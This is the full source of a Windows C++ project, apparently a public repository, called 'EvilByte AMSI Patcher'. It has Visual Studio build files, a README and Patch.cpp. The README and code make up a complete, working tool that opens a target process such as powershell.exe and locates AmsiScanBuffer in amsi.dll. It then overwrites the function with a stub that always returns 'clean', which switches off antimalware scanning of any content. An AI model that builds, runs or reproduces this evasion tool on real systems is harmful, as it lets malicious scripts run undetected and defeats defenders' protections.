├── AMSI-PeParse-Patch
├── AMSI-PeParse-Patch.vcxproj.user
├── AMSI-PeParse-Patch.vcxproj.filters
├── AMSI-PeParse-Patch.vcxproj
└── Patch.cpp
├── AMSI-PeParse-Patch.sln
└── README.md
/AMSI-PeParse-Patch/AMSI-PeParse-Patch.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/AMSI-PeParse-Patch/AMSI-PeParse-Patch.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Zdrojové soubory
20 |
21 |
22 |
--------------------------------------------------------------------------------
/AMSI-PeParse-Patch.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.13.35931.197 d17.13
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AMSI-PeParse-Patch", "AMSI-PeParse-Patch\AMSI-PeParse-Patch.vcxproj", "{0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Debug|x64.ActiveCfg = Debug|x64
17 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Debug|x64.Build.0 = Debug|x64
18 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Debug|x86.ActiveCfg = Debug|Win32
19 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Debug|x86.Build.0 = Debug|Win32
20 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Release|x64.ActiveCfg = Release|x64
21 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Release|x64.Build.0 = Release|x64
22 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Release|x86.ActiveCfg = Release|Win32
23 | {0E9A8CD9-ECE8-4A64-B0FD-DCF20810FB4A}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {E814085D-B1DA-4522-937C-780D70AAB5CF}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 🛡️ EvilByte AMSI Patcher
2 |
3 | 🔍 Bypasses AMSI by remotely patching AmsiScanBuffer function in target processes.
4 |
5 | ## 🚀 Quick Usage
6 |
7 | ```
8 | AMSI-PeParse-Patch.exe powershell.exe # By name
9 | AMSI-PeParse-Patch.exe 1234 # By PID (you can use in powershell $pid)
10 | ```
11 |
12 | ## ⚙️ How It Works
13 |
14 | 1. 🎯 **Target Process**
15 | - Opens handle to remote process with `PROCESS_ALL_ACCESS`
16 |
17 | 2. 🔎 **Find amsi.dll**
18 | - Lists loaded modules with `EnumProcessModules`
19 | - Locates amsi.dll in target process
20 |
21 | 3. 🧠 **Memory Analysis**
22 | - Explicit individual `ReadProcessMemory()` calls:
23 | 1. Reads DOS header from module base address
24 | 2. Reads NT headers from base + e_lfanew offset
25 | 3. Stores RVAs of import/export directories
26 | - Creates Pe structure with pointers to remote memory structures
27 |
28 | 4. 🔍 **Locate Function**
29 | - Reads export tables remotely
30 | - Searches for "AmsiScanBuffer" string
31 | - Translates to actual memory address
32 |
33 | 5. 💉 **Patch Memory**
34 | - Changes protection with `VirtualProtectEx`
35 | - Writes patch `B8 00 00 00 00 C3` (mov eax, 0; ret)
36 | - AmsiScanBuffer now returns "clean" for ANY content
37 |
38 | # PoC:
39 | 
40 |
41 |
42 | ## 🔐 Technical Notes
43 |
44 | - 🧩 Works on x86 and x64 processes
45 | - 🪄 No process restart needed
46 | - 🏭 Common target: powershell.exe.
47 |
48 | ## 📄 License
49 |
50 | Copyright © 2025 EvilBytecode. All rights reserved.
51 |
--------------------------------------------------------------------------------
/AMSI-PeParse-Patch/AMSI-PeParse-Patch.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 17.0
23 | Win32Proj
24 | {0e9a8cd9-ece8-4a64-b0fd-dcf20810fb4a}
25 | AMSIPeParsePatch
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 | stdcpp17
108 |
109 |
110 | Console
111 | true
112 |
113 |
114 |
115 |
116 | Level3
117 | true
118 | true
119 | true
120 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
121 | true
122 |
123 |
124 | Console
125 | true
126 | true
127 | true
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
--------------------------------------------------------------------------------
/AMSI-PeParse-Patch/Patch.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | namespace evilbyte {
9 |
10 | struct Pe {
11 | HMODULE ImageBase;
12 | PIMAGE_DOS_HEADER DosHeader;
13 | PIMAGE_NT_HEADERS NtHeaders;
14 | IMAGE_OPTIONAL_HEADER OptionalHeader;
15 | IMAGE_FILE_HEADER FileHeader;
16 | PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;
17 | PIMAGE_EXPORT_DIRECTORY ExportDirectory;
18 | };
19 |
20 | Pe ParseRemotePe(HANDLE hProcess, LPCWSTR moduleName) {
21 | Pe pe = { 0 };
22 | HMODULE hModules[1024];
23 | DWORD cbNeeded;
24 |
25 | if (!EnumProcessModules(hProcess, hModules, sizeof(hModules), &cbNeeded)) return pe;
26 |
27 | HMODULE targetModule = NULL;
28 | wchar_t modulePath[MAX_PATH];
29 |
30 | for (DWORD i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
31 | if (GetModuleFileNameExW(hProcess, hModules[i], modulePath, MAX_PATH)) {
32 | wchar_t* fileName = wcsrchr(modulePath, L'\\');
33 | if (fileName && _wcsicmp(fileName + 1, moduleName) == 0) {
34 | targetModule = hModules[i];
35 | break;
36 | }
37 | }
38 | }
39 |
40 | if (!targetModule) return pe;
41 |
42 | MODULEINFO moduleInfo;
43 | if (!GetModuleInformation(hProcess, targetModule, &moduleInfo, sizeof(moduleInfo))) return pe;
44 |
45 | pe.ImageBase = targetModule;
46 |
47 | IMAGE_DOS_HEADER dosHeader;
48 | if (!ReadProcessMemory(hProcess, targetModule, &dosHeader, sizeof(IMAGE_DOS_HEADER), NULL)) return pe;
49 | pe.DosHeader = (PIMAGE_DOS_HEADER)targetModule;
50 |
51 | IMAGE_NT_HEADERS ntHeaders;
52 | if (!ReadProcessMemory(hProcess, (BYTE*)targetModule + dosHeader.e_lfanew, &ntHeaders, sizeof(IMAGE_NT_HEADERS), NULL)) return pe;
53 | pe.NtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader.e_lfanew);
54 | pe.OptionalHeader = ntHeaders.OptionalHeader;
55 | pe.FileHeader = ntHeaders.FileHeader;
56 |
57 | pe.ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)targetModule + ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
58 | pe.ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)targetModule + ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
59 |
60 | return pe;
61 | }
62 |
63 | DWORD GetProcessIdByName(const std::wstring& processName) {
64 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
65 | if (snapshot == INVALID_HANDLE_VALUE) return 0;
66 |
67 | PROCESSENTRY32W processEntry = { sizeof(PROCESSENTRY32W) };
68 | if (Process32FirstW(snapshot, &processEntry)) {
69 | do {
70 | if (_wcsicmp(processEntry.szExeFile, processName.c_str()) == 0) {
71 | CloseHandle(snapshot);
72 | return processEntry.th32ProcessID;
73 | }
74 | } while (Process32NextW(snapshot, &processEntry));
75 | }
76 |
77 | CloseHandle(snapshot);
78 | return 0;
79 | }
80 |
81 | bool PatchAmsiScanBuffer(HANDLE hProcess, const Pe& amsiPe) {
82 | IMAGE_EXPORT_DIRECTORY exportDir;
83 | if (!ReadProcessMemory(hProcess, amsiPe.ExportDirectory, &exportDir, sizeof(IMAGE_EXPORT_DIRECTORY), NULL)) return false;
84 |
85 | DWORD* addressOfFunctions = new DWORD[exportDir.NumberOfFunctions];
86 | DWORD* addressOfNames = new DWORD[exportDir.NumberOfNames];
87 | WORD* addressOfNameOrdinals = new WORD[exportDir.NumberOfNames];
88 |
89 | bool success = false;
90 | do {
91 | if (!ReadProcessMemory(hProcess, (LPVOID)((DWORD_PTR)amsiPe.ImageBase + exportDir.AddressOfFunctions),
92 | addressOfFunctions, exportDir.NumberOfFunctions * sizeof(DWORD), NULL)) break;
93 |
94 | if (!ReadProcessMemory(hProcess, (LPVOID)((DWORD_PTR)amsiPe.ImageBase + exportDir.AddressOfNames),
95 | addressOfNames, exportDir.NumberOfNames * sizeof(DWORD), NULL)) break;
96 |
97 | if (!ReadProcessMemory(hProcess, (LPVOID)((DWORD_PTR)amsiPe.ImageBase + exportDir.AddressOfNameOrdinals),
98 | addressOfNameOrdinals, exportDir.NumberOfNames * sizeof(WORD), NULL)) break;
99 |
100 | DWORD_PTR amsiScanBufferRVA = 0;
101 | for (DWORD i = 0; i < exportDir.NumberOfNames; i++) {
102 | char functionName[256] = { 0 };
103 | if (!ReadProcessMemory(hProcess, (LPVOID)((DWORD_PTR)amsiPe.ImageBase + addressOfNames[i]),
104 | functionName, sizeof(functionName) - 1, NULL)) continue;
105 |
106 | if (strcmp(functionName, "AmsiScanBuffer") == 0) {
107 | WORD ordinal = addressOfNameOrdinals[i];
108 | amsiScanBufferRVA = addressOfFunctions[ordinal];
109 | break;
110 | }
111 | }
112 |
113 | if (amsiScanBufferRVA == 0) break;
114 |
115 | LPVOID amsiScanBufferAddr = (LPVOID)((DWORD_PTR)amsiPe.ImageBase + amsiScanBufferRVA);
116 | std::cout << "AmsiScanBuffer: 0x" << std::hex << amsiScanBufferAddr << std::dec << std::endl;
117 |
118 | unsigned char patch[] = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 };
119 |
120 | DWORD oldProtect;
121 | if (!VirtualProtectEx(hProcess, amsiScanBufferAddr, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect)) break;
122 |
123 | if (!WriteProcessMemory(hProcess, amsiScanBufferAddr, patch, sizeof(patch), NULL)) {
124 | VirtualProtectEx(hProcess, amsiScanBufferAddr, sizeof(patch), oldProtect, &oldProtect);
125 | break;
126 | }
127 |
128 | VirtualProtectEx(hProcess, amsiScanBufferAddr, sizeof(patch), oldProtect, &oldProtect);
129 | success = true;
130 | } while (false);
131 |
132 | delete[] addressOfFunctions;
133 | delete[] addressOfNames;
134 | delete[] addressOfNameOrdinals;
135 |
136 | return success;
137 | }
138 |
139 | void DisplayUsage() {
140 | std::cout << "Usage: AMSI-PeParse-Patch.exe " << std::endl;
141 | std::cout << " process_name_or_pid: Target process name (e.g., powershell.exe) or process ID" << std::endl;
142 | }
143 |
144 | }
145 |
146 | int main(int argc, char* argv[]) {
147 | if (argc != 2) {
148 | evilbyte::DisplayUsage();
149 | return 1;
150 | }
151 |
152 | std::string input = argv[1];
153 | DWORD pid = std::all_of(input.begin(), input.end(), ::isdigit)
154 | ? std::stoul(input)
155 | : evilbyte::GetProcessIdByName(std::wstring(input.begin(), input.end()));
156 |
157 | if (pid == 0) {
158 | std::cerr << "Process '" << input << "' not found" << std::endl;
159 | return 1;
160 | }
161 |
162 | std::cout << "Target process ID: " << pid << std::endl;
163 |
164 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
165 | if (!hProcess) {
166 | std::cerr << "Failed to open process. Error: " << GetLastError() << std::endl;
167 | return 1;
168 | }
169 |
170 | auto amsi = evilbyte::ParseRemotePe(hProcess, L"amsi.dll");
171 | if (!amsi.ImageBase) {
172 | std::cerr << "Failed to parse amsi.dll" << std::endl;
173 | CloseHandle(hProcess);
174 | return 1;
175 | }
176 |
177 | std::cout << "Found amsi.dll at: 0x" << std::hex << amsi.ImageBase << std::dec << std::endl;
178 |
179 | if (evilbyte::PatchAmsiScanBuffer(hProcess, amsi))
180 | std::cout << "AMSI patched successfully in PID " << pid << std::endl;
181 | else
182 | std::cerr << "Failed to patch AMSI in PID " << pid << std::endl;
183 |
184 | CloseHandle(hProcess);
185 | return 0;
186 | }
--------------------------------------------------------------------------------